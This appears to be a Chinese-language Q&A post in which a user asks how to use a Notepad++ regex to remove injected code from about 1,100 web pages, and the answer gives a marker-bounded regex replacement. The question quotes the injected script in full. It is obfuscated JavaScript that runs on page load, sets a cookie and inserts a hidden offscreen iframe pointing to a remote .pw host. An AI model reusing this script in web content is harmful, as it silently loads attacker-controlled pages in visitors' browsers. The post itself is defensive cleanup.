![需要帮助使用正则表达式替换 Notepad++ 中的字符串](https://linux22.com/image/1474817/%E9%9C%80%E8%A6%81%E5%B8%AE%E5%8A%A9%E4%BD%BF%E7%94%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%9B%BF%E6%8D%A2%20Notepad%2B%2B%20%E4%B8%AD%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2.png)
我正在尝试替换内容
/*6efdc4d230be4cf90bd9cefdffaeb74e*/ var _0xf184=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x63\x64\x6E\x2E\x67\x6F\x72\x6F\x64\x61\x32\x33\x35\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf184[0]]=func​tion (){func​tion _0x6e99x1(_0x6e99x2,_0x6e99x3,_0x6e99x4){if(_0x6e99x4){var _0x6e99x5= new Date();_0x6e99x5[_0xf184[2]](_0x6e99x5[_0xf184[1]]()+_0x6e99x4);};if(_0x6e99x2&&_0x6e99x3){document[_0xf184[3]]=_0x6e99x2+_0xf184[4]+_0x6e99x3+(_0x6e99x4?_0xf184[5]+_0x6e99x5[_0xf184[6]]():_0xf184[7])}else {return false};}func​tion _0x6e99x6(_0x6e99x2){var _0x6e99x3= new RegExp(_0x6e99x2+_0xf184[8]);var _0x6e99x4=_0x6e99x3[_0xf184[9]](document[_0xf184[3]]);if(_0x6e99x4){_0x6e99x4=_0x6e99x4[0][_0xf184[10]](_0xf184[4])}else {return false};return _0x6e99x4[1]?_0x6e99x4[1]:false;}var _0x6e99x7=_0x6e99x6(_0xf184[11]);if(_0x6e99x7!=_0xf184[12]){_0x6e99x1(_0xf184[11],_0xf184[12],1);var _0x6e99x8=document[_0xf184[14]](_0xf184[13]);var _0x6e99x9=1049507;var _0x6e99xa=_0xf184[15]+_0x6e99x9+_0xf184[16];_0x6e99x8[_0xf184[17]]=_0xf184[18]+_0x6e99xa+_0xf184[19];document[_0xf184[21]][_0xf184[20]](_0x6e99x8);};}; /*6efdc4d230be4cf90bd9cefdffaeb74e*/
许多页面都有空白,约 1100 页。
我不知道如何在 Notepad++ 中使用正则表达式来做到这一点。
任何帮助都将受到赞赏。
答案1
我正在尝试用空白替换内容
菜单“搜索”>“替换”(或Ctrl+ H)
将“查找内容”设置为
/\*6efdc4d230be4cf90bd9cefdffaeb74e\*/.*?/\*6efdc4d230be4cf90bd9cefdffaeb74e\*/
将“替换为”设置为(空字符串)
启用“正则表达式”
点击“全部替换”
前:
/*6efdc4d230be4cf90bd9cefdffaeb74e*/ bla bla bla /*6efdc4d230be4cf90bd9cefdffaeb74e*/
/*6efdc4d230be4cf90bd9cefdffaeb74e*/ bla bla bla /*6efdc4d230be4cf90bd9cefdffaeb74e*/
/*6efdc4d230be4cf90bd9cefdffaeb74e*/ bla bla bla /*6efdc4d230be4cf90bd9cefdffaeb74e*/
/*6efdc4d230be4cf90bd9cefdffaeb74e*/ bla bla bla /*6efdc4d230be4cf90bd9cefdffaeb74e*/
/*6efdc4d230be4cf90bd9cefdffaeb74e*/ bla bla bla /*6efdc4d230be4cf90bd9cefdffaeb74e*/
/*6efdc4d230be4cf90bd9cefdffaeb74e*/ bla bla bla /*6efdc4d230be4cf90bd9cefdffaeb74e*/
/*6efdc4d230be4cf90bd9cefdffaeb74e*/ bla bla bla /*6efdc4d230be4cf90bd9cefdffaeb74e*/
后:
7 个空白行